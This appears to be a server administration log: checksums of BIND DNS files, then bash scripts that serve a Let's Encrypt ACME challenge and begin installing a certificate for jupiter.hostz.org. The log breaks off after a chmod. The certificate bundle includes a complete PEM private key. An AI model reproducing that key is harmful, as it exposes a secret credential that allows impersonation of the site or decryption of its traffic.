MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-14 14:19:26: Establishing a connection
2026-02-14 14:19:26: Establishing a connection
2026-02-14 14:19:26: 

PUT: /tmp/pkp338123

#!/bin/bash
if [ -d "/var/www/hostz_jupiter/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-14 14:19:26: 

chmod 755 /tmp/pkp338123; /tmp/pkp338123; rm /tmp/pkp338123

2026-02-14 14:19:26: 


1


2026-02-14 14:19:27: Establishing a connection
2026-02-14 14:19:27: 

PUT: /tmp/pkp313040

#!/bin/bash
mkdir -p "/var/www/hostz_jupiter/.well-known/acme-challenge/"
cd "/var/www/hostz_jupiter/.well-known/acme-challenge/"
cat > IcbnmRV-cMzSXxOH7RqY-BQTiBMjRL3fzI2se33qV1Q <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
IcbnmRV-cMzSXxOH7RqY-BQTiBMjRL3fzI2se33qV1Q.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 IcbnmRV-cMzSXxOH7RqY-BQTiBMjRL3fzI2se33qV1Q


2026-02-14 14:19:28: 

chmod 755 /tmp/pkp313040; /tmp/pkp313040; rm /tmp/pkp313040

2026-02-14 14:19:28: 




2026-02-14 14:19:32: Establishing a connection
2026-02-14 14:19:32: 

PUT: /tmp/pkp721444

#!/bin/bash
mkdir -p "/var/www/hostz_jupiter/.well-known/acme-challenge/"
cd "/var/www/hostz_jupiter/.well-known/acme-challenge/"
rm IcbnmRV-cMzSXxOH7RqY-BQTiBMjRL3fzI2se33qV1Q


2026-02-14 14:19:32: 

chmod 755 /tmp/pkp721444; /tmp/pkp721444; rm /tmp/pkp721444

2026-02-14 14:19:32: 




2026-02-14 14:19:32: Establishing a connection
2026-02-14 14:19:32: 

PUT: /tmp/pkp215926

#!/bin/bash
temp_file=$(mktemp)
TARGET=ecea81f90eb664107ec66742d2c0036d

cat > $temp_file <<'endmsg'
f5:b9:25:3e:9c:19:85:21:62:bb:92:33:39:6b:85:5d

-----BEGIN CERTIFICATE-----
MIIE/TCCA+WgAwIBAgISBv211syQFU1C1pgc8DxRbeloMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjE0MTMyMTAwWhcNMjYwNTE1MTMyMDU5WjAcMRowGAYDVQQD
ExFqdXBpdGVyLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAKTN6NuvlfaoT8EP4KrsJF6uw00tN0qPae1LQxUXLlMEa8BG6W7Xbx9IyxIA
3qN1YzuPlD34falFde4QpnbbpTuUQ5rvkXGSnNiwrbZI0k8yToXFLfKJs3it3STc
pi8V+sidMXBfcOekYEIENUmgZmY7h7U/U+6JVeqjEz/DzQvV1othD66vraP3DKHe
+p6xVPpx+Dl1jzN+RKvvAHD2XbI/FEpSl5cFEh9+295K/gzK97T4pbUfg6ktVygL
fiNMrPIS9tbPuFHAy03W5yR2svV2dBH8fimzvJr2eegLl/grwlz3Qk17qD0+bv2r
ayLeY7/vs8PEnPKVKhoK4yOM96ECAwEAAaOCAiAwggIcMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBTu
WV9ilPkqqMpCqpS6ilXYK0i+wjAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jIsoQO
O9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMuaS5s
ZW5jci5vcmcvMBwGA1UdEQQVMBOCEWp1cGl0ZXIuaG9zdHoub3JnMBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5j
ci5vcmcvMTA1LmNybDCCAQwGCisGAQQB1nkCBAIEgf0EgfoA+AB1AMs49xWJfISh
RF9bwd37yW7ymlnNRwppBYWwyxTDFFjnAAABnFyFYWUAAAQDAEYwRAIgX7zTojmt
1HWdWS/GWlnsLGVr12BtewJZYOJ8RjGklxwCIFPMLtcKEcvOBlFbFHpIIsTF3ske
wwnvI04JMCQXZKXIAH8A4yON8o2iiOCq4Kzw+pDJhfC2v/XSpSewAfwcRFjEtugA
AAGcXIVjRAAIAAAFADKQG2EEAwBIMEYCIQCPUWjHlRol5gOIrHJ31S1iG0oCLf/K
Z9awyvGBPU/ckQIhANsyHFvkTV+TsUCyhFo35qyc3lo4r8geHm96iG++KJ2IMA0G
CSqGSIb3DQEBCwUAA4IBAQA+tV/ci3sOAK+iSW8BkQ8OoGlXrOJmpbnPz74I0Nn3
KDNiHJW9p0clBZlrxfO8xzCPyEIXJtCJhvpw0sRpG/fjsRcM7pyG1pLntZvsgM5B
ixfIirSyBLkdUcD78waT+XcmAevwhYIRHuW0MVRdVFhhOMtm0fcr2WiRpCgtrNGX
Tm4zMXGDqDFH2BRM/woFgGZ85XWBcTKptO92B8yrMdKrAv4lcUaLBADOfHe26OSA
OLo3BZAx7+rgLtQr7Fe86NmEueOzRRyETCbaQAeD4NtIIZrqF/6T/knuuFDHtZ1Z
as80FSjzkBvfEjMEHFQ5xZubn7kz4ta2bsqPxxFrfRSX
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCkzejbr5X2qE/B
D+Cq7CRersNNLTdKj2ntS0MVFy5TBGvARulu128fSMsSAN6jdWM7j5Q9+H2pRXXu
EKZ226U7lEOa75FxkpzYsK22SNJPMk6FxS3yibN4rd0k3KYvFfrInTFwX3DnpGBC
BDVJoGZmO4e1P1PuiVXqoxM/w80L1daLYQ+ur62j9wyh3vqesVT6cfg5dY8zfkSr
7wBw9l2yPxRKUpeXBRIfftveSv4Myve0+KW1H4OpLVcoC34jTKzyEvbWz7hRwMtN
1uckdrL1dnQR/H4ps7ya9nnoC5f4K8Jc90JNe6g9Pm79q2si3mO/77PDxJzylSoa
CuMjjPehAgMBAAECggEAChzUN8RFRweWjr/EGwre07REucvvLU8h6micjPsRWbDf
EYMsbGOx7vURGGmHH9e6e0d0+s1AXTpc2VsKUudpEwAG2rdN+P6Miy+itilvZcKO
Ds9t0YjVc1+UTwBu3ltqekRKigUiPQWRLkXatPoPpIDtQ6/3TQ8eb3WanxZbQvk+
rnxawe0/eGx1WdtFJYdjh2IqbN4++Utm+lE0sWM9hs70Jg/j3fotGskzVtcTRp5w
YQOikwgih4EAm27+8NNFVbdU3GlX2LJVrlHlDR1L3CKDShGlzVIuZ0WV8YF8MTW1
z8gIaWK4cx8De3lmV+sNhSXgN8Bisve21xn+LGTa8QKBgQDd/XqnWw7Srqv5x0Ek
KefEGPtoRys9GhJyqzmZFP7Th4qS1qYob2CA9T/DKJqsiqkiDnk/zHPV/nKCEmxB
dLvY23SQlzfMe2H5vvpak6IWG3vw32YVE472yvxn7vALxpLQYGTp8x9Ch54AnWcN
uLxmucGABw1RQ66mvmqjwl6/kQKBgQC+DZXdFj+6/I4NmBDC+DFes0IgpxoxWCEI
HmLEF58bbd7SVlw1bLvZWkH0BQ6NzgQGxivGzYro++/C9zXdpYxr/bex5TuPSnPh
rH1pRTOb9e3NLQeEPjKzH6J2QwEPl9Hg9l7vsOyuvHnwVx2as6dEGzjs21144eJ+
tOXwwpzPEQKBgE8V4wCEXD+KoxIVfouXsk4WaFq6IBlglHntrlNvO2m4vBGcDw4Q
v9yxgsnQSWp269KKPYARIqN2Ru04CwE2yUV0yY5JkUN0IW+MLjzeo7wkhn9F12Ri
12fs4QdWBIbtc5hw/wKp7tUQ46Vsbi5hRh2CyAEIgiIVbr9Qz0UQFhlBAoGBALaC
pWBjdWBEGMbFOZOCdSbUTrS8xFKOp2n8hCx74reck1a6yGIlwV/BZYTJNmjHZuZ6
eJ+506RaDK3WaUwpJuiuBjI4STIZ9Z7K3sSxSBaF3ZAjpgxBDr8lqgaX4fTvfwXi
ktjrtt828IL1peBilka5Pbl4EBN+GNxFLGxA+AWBAoGBAKpsJWHGmMb9sFiiJo+C
NJDRR7g1PWY+YEyjj2zUqYADz7Sv/LgbXmcLUTqoCtH2NjwJO57iYcFigJNnAFPh
Rmm+EZoUrWgpj8qpv1c+P3EiP4ifmprZMg+W48BPITW0Fvc0AJxvz9jNaliVzSAv
rp9u9cxYHSNW4hVba0JGSAUN
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
